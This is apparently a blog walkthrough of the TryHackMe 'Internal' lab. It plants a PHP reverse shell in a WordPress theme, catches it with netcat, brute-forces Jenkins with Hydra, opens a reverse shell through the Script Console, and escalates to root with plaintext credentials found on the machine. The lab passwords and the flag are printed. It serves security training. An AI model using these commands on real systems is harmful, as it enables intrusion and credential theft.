    In the web interface, go to “Appearance > Theme Editor > 404.php” and replace the PHP code with a PHP reverse shell (e.g. http://pentestmonkey.net/tools/web-shells/php-reverse-shell).


    But before that we have to edit it to add our attacker machine IP address and port address.

    We are doing this because, after this .php file execution it gives us a reverse shell on specified IP address and port.



    TryHackMe Penetration Testing Challenge



    and after than open a listener ( nc -lvnp 4444) and call the template (http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php).

     

    -l (Listen mode, for inbound connects)
    -v (verbose)
    -n (Suppress name/port resolutions)
    -p (Specify local port for remote connects)

     



    TryHackMe Penetration Testing Challenge



    TryHackMe Penetration Testing Challenge




    TryHackMe Penetration Testing Challenge



    Now we have a reverse shell on our machine (kali linux). Let’s move around and find out who’s the user of this machine.

    There are one directory available but we don't have any access...



    TryHackMe Penetration Testing Challenge


    but there is an interesting file in the /opt directory.



    TryHackMe Penetration Testing Challenge



    NOTE- We do not have any reason to use these command but, yes if you want a SHELL on a machine through which you can easily access everything, then you absolutely can.

    we have used this for clear command because it was not already available in its environment.

     

     

    $ whoami
    www-data
    $ #www.hackingtruth.org
    $ python -c 'import pty; pty.spawn("/bin/bash");'
    www-data@internal:/$ export TERM=xterm
    export TERM=xterm
    www-data@internal:/$ ls
    ls
    bin    dev   initrd.img      lib64       mnt   root  snap      sys  var
    boot   etc   initrd.img.old  lost+found  opt   run   srv       tmp  vmlinuz
    cdrom  home  lib             media       proc  sbin  swap.img  usr  vmlinuz.old
    www-data@internal:/$ cd /opt
    cd /opt
    www-data@internal:/opt$ ls
    ls
    containerd  wp-save.txt
    www-data@internal:/opt$ cat wp-save.txt
    cat wp-save.txt
    Bill,
    
    Aubreanna needed these credentials for something later.  Let her know you have them and where they are.
    
    aubreanna:bubb13guM!@#123
    www-data@internal:/opt$ 
    
    
    

     


    python -c 'import pty; pty.spawn("/bin/bash");'

    export TERM=xterm


    Even MySQL credentials can be found by inspecting the wp-config.php file – unfortunately these did not seem to server any purpose although it’s always best to check for these:

    cd /var/www/html/wordpress

    ls

    cat wp-config.php



    TryHackMe Penetration Testing Challenge

     

     

    Logging in as the aubreanna user via SSH:


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ ssh aubreanna@internal.thm      
    The authenticity of host 'internal.thm (10.10.93.158)' can't be established.
    ED25519 key fingerprint is SHA256:seRYczfyDrkweytt6CJT/aBCJZMIcvlYYrTgoGxeHs4.
    This key is not known by any other names
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added 'internal.thm' (ED25519) to the list of known hosts.
    aubreanna@internal.thm's password: 
    Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
      System information as of Mon Mar 21 14:11:08 UTC 2022
    
      System load:  0.0               Processes:              114
      Usage of /:   63.7% of 8.79GB   Users logged in:        0
      Memory usage: 34%               IP address for eth0:    10.10.93.158
      Swap usage:   0%                IP address for docker0: 172.17.0.1
    
      => There is 1 zombie process.
    
    
     * Canonical Livepatch is available for installation.
       - Reduce system reboots and improve kernel security. Activate at:
         https://ubuntu.com/livepatch
    
    0 packages can be updated.
    0 updates are security updates.
    
    
    Last login: Mon Aug  3 19:56:19 2020 from 10.6.2.56
    aubreanna@internal:~$ whoami
    aubreanna                                                                                      
    aubreanna@internal:~$ 
                                                                                                             
                                        
    
    
    

    User flag


    The user flag is in aubreanna’s home folder:


    cd /home/aubreanna
    ls
    cat user.txt


    TryHackMe Penetration Testing Challenge



    Root.txt Flag


    When enumerating the home directory, found information about Jenkins, which appears to be running on port 8080:



    TryHackMe Penetration Testing Challenge



    Since port 8080 can only by accessed locally, setting up port forwarding in order to redirect traffic to localhost on port 1234 to the target machine on port 8080:





    Jenkins is now accessible from the Kali host:

    Default credentials did not seem to work, capturing the login request in order to construct a Hydra command to try and brute-force credentials:


    TryHackMe Penetration Testing Challenge



    Using hydra to brute-force the password, using the following flags:

    • -f to stop the attack when a valid password is found
    • -l to specify the username for the brute-force attack
    • -P to specify the wordlist to use for the bruteforce attack
    • -s to specify the port to connect to
    • the service and target to brute force
    • http-post-form to specify the URL including all of the parameters used in the request, such as the username, password, and the failed authentication message




    sudo hydra -f -l admin -P /home/hackerboy/Documents/rockyou.txt -s 1234  127.0.0.1 http-form-post  "/j_aceom=%2F&Submit=Sign+in:Invalid username or password"

    OR


    sudo hydra -f -l admin -P /home/hackerboy/Documents/rockyou.txt -s 1234  127.0.0.1 http-form-post  "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^=%2F&Submit=Sign+in:Invalid username or password"



    TryHackMe Penetration Testing Challenge




    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ sudo hydra -f -l admin -P /home/hackerboy/Documents/rockyou.txt -s 1234  127.0.0.1 http-form-post  "/j_aceom=%2F&Submit=Sign+in:Invalid username or password"  
    Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organthese *** ignore laws and ethics anyway).
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-21 21:25:51
    [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per t
    [DATA] attacking http-post-form://127.0.0.1:1234/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&fr
    [1234][http-post-form] host: 127.0.0.1   login: admin   password: spongebob
    [STATUS] attack finished for 127.0.0.1 (valid pair found)
    1 of 1 target successfully completed, 1 valid password found
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-21 21:26:41
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ #www.kumaratuljaiswal.in    #www.hackingtruth.in
    
    
    
    


    Hydra was able to brute-force the admin user’s password. Logging into Jenkins:


    TryHackMe Penetration Testing Challenge


    Jenkins comes with a “Script Console” administrative tool, which allows authenticated users to run scripts using Apache Groovy, a Java-syntax-compatible object-oriented programming language for the Java platform. This can be leveraged to execute Bash commands as well as reverse shells.

    Clicking on “Manage Jenkins–>Script Console:


    The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

        -l to listen for incoming connections
        -v for verbose output
        -n to skip the DNS lookup
        -p to specify the port to listen on


     

     

    TryHackMe Penetration Testing Challenge


    Used the reverse shell also from this handy blog post, replacing IP address and port:



    TryHackMe Penetration Testing Challenge


    A callback was received, granting access as the jenkins user within a Docker container:

    When enumerating common files and folders in the web server, the /opt directory appears to contain a note with the root password:


    cd /
    clear
    TERM environment variable not set.
    export TERM=xterm
    clear
    whoami
    jenkins
    pwd
    /
    ls -la
    total 84
    drwxr-xr-x   1 root root 4096 Aug  3  2020 .
    drwxr-xr-x   1 root root 4096 Aug  3  2020 ..
    -rwxr-xr-x   1 root root    0 Aug  3  2020 .dockerenv
    drwxr-xr-x   1 root root 4096 Aug  3  2020 bin
    drwxr-xr-x   2 root root 4096 Sep  8  2019 boot
    drwxr-xr-x   5 root root  340 Mar 21 12:54 dev
    drwxr-xr-x   1 root root 4096 Aug  3  2020 etc
    drwxr-xr-x   2 root root 4096 Sep  8  2019 home
    drwxr-xr-x   1 root root 4096 Jan 30  2020 lib
    drwxr-xr-x   2 root root 4096 Jan 30  2020 lib64
    drwxr-xr-x   2 root root 4096 Jan 30  2020 media
    drwxr-xr-x   2 root root 4096 Jan 30  2020 mnt
    drwxr-xr-x   1 root root 4096 Aug  3  2020 opt
    dr-xr-xr-x 130 root root    0 Mar 21 12:54 proc
    drwx------   1 root root 4096 Aug  3  2020 root
    drwxr-xr-x   3 root root 4096 Jan 30  2020 run
    drwxr-xr-x   1 root root 4096 Jul 28  2020 sbin
    drwxr-xr-x   2 root root 4096 Jan 30  2020 srv
    dr-xr-xr-x  13 root root    0 Mar 21 13:56 sys
    drwxrwxrwt   1 root root 4096 Mar 21 12:54 tmp
    drwxr-xr-x   1 root root 4096 Jan 30  2020 usr
    drwxr-xr-x   1 root root 4096 Jul 28  2020 var
    cd /var
    ls -la
    total 64
    drwxr-xr-x  1 root    root    4096 Jul 28  2020 .
    drwxr-xr-x  1 root    root    4096 Aug  3  2020 ..
    drwxr-xr-x  2 root    root    4096 Sep  8  2019 backups
    drwxr-xr-x  1 root    root    4096 Feb  2  2020 cache
    drwxr-xr-x 15 jenkins jenkins 4096 Mar 21 12:55 jenkins_home
    drwxr-xr-x  1 root    root    4096 Feb  2  2020 lib
    drwxrwsr-x  2 root    staff   4096 Sep  8  2019 local
    lrwxrwxrwx  1 root    root       9 Jan 30  2020 lock -> /run/lock
    drwxr-xr-x  1 root    root    4096 Feb  2  2020 log
    drwxrwsr-x  2 root    mail    4096 Jan 30  2020 mail
    drwxr-xr-x  2 root    root    4096 Jan 30  2020 opt
    lrwxrwxrwx  1 root    root       4 Jan 30  2020 run -> /run
    drwxr-xr-x  2 root    root    4096 Jan 30  2020 spool
    drwxrwxrwt  2 root    root    4096 Sep  8  2019 tmp
    cd /opt
    ls -la
    total 12
    drwxr-xr-x 1 root root 4096 Aug  3  2020 .
    drwxr-xr-x 1 root root 4096 Aug  3  2020 ..
    -rw-r--r-- 1 root root  204 Aug  3  2020 note.txt
    cat note.txt
    Aubreanna,
    
    Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
    need access to the root user account.
    
    root:tr0ub13guM!@#123
    
    
    
    


    Root flag


    Back to our initial SSH connection as aubreanna:

    OR


    Authenticating as root through SSH with the credentials found:
    (ssh root@internal.thm)


    TryHackMe Penetration Testing Challenge


    www-data@internal:/$ whoami
    whoami
    www-data
    www-data@internal:/$ cd /var/backups
    cd /var/backups
    www-data@internal:/var/backups$ su root
    su root
    Password: tr0ub13guM!@#123
    
    root@internal:/var/backups# 
    
    


    root@internal:/var/backups# ls
    ls
    alternatives.tar.0 dpkg.diversions.0 group.bak shadow.bak
    apt.extended_states.0 dpkg.statoverride.0 gshadow.bak
    apt.extended_states.1.gz dpkg.status.0 passwd.bak
    root@internal:/var/backups#

    root@internal:/var/backups# cd /root/
    cd /root/
    root@internal:~# ls
    ls
    root.txt snap
    root@internal:~# cat root.txt
    cat root.txt
    THM{d0ck3r_d3str0y3r}
    root@internal:~#





    Congratulations we got it :-)




    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.





  • WHAT WE DO

    We've been developing corporate tailored services for clients for 30 years.

    CONTACT US

    For enquiries you can contact us in several different ways. Contact details are below.

    Hacking Truth.in

    • Street :Road Street 00
    • Person :Person
    • Phone :+045 123 755 755
    • Country :POLAND
    • Email :contact@heaven.com

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.